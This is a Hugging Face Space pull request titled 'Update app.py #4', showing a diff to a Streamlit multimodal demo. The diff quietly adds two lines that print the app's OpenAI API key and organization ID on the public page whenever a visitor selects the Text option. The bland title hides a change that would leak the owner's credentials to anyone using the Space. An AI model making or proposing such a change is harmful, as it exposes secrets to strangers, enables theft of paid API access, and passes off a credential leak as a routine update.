Spaces:
Running
on
CPU Upgrade
Running
on
CPU Upgrade
Update app.py
#4
by
deeplytransformer
- opened
app.py
CHANGED
@@ -157,6 +157,8 @@ def main():
|
|
157 |
st.markdown("#### The Omni Model with Text, Audio, Image, and Video")
|
158 |
option = st.selectbox("Select an option", ("Text", "Image", "Audio", "Video"))
|
159 |
if option == "Text":
|
|
|
|
|
160 |
process_text()
|
161 |
elif option == "Image":
|
162 |
image_input = st.file_uploader("Upload an image", type=["jpg", "jpeg", "png"])
|
|
|
157 |
st.markdown("#### The Omni Model with Text, Audio, Image, and Video")
|
158 |
option = st.selectbox("Select an option", ("Text", "Image", "Audio", "Video"))
|
159 |
if option == "Text":
|
160 |
+
st.write(openai.api_key)
|
161 |
+
st.write(openai.organization)
|
162 |
process_text()
|
163 |
elif option == "Image":
|
164 |
image_input = st.file_uploader("Upload an image", type=["jpg", "jpeg", "png"])
|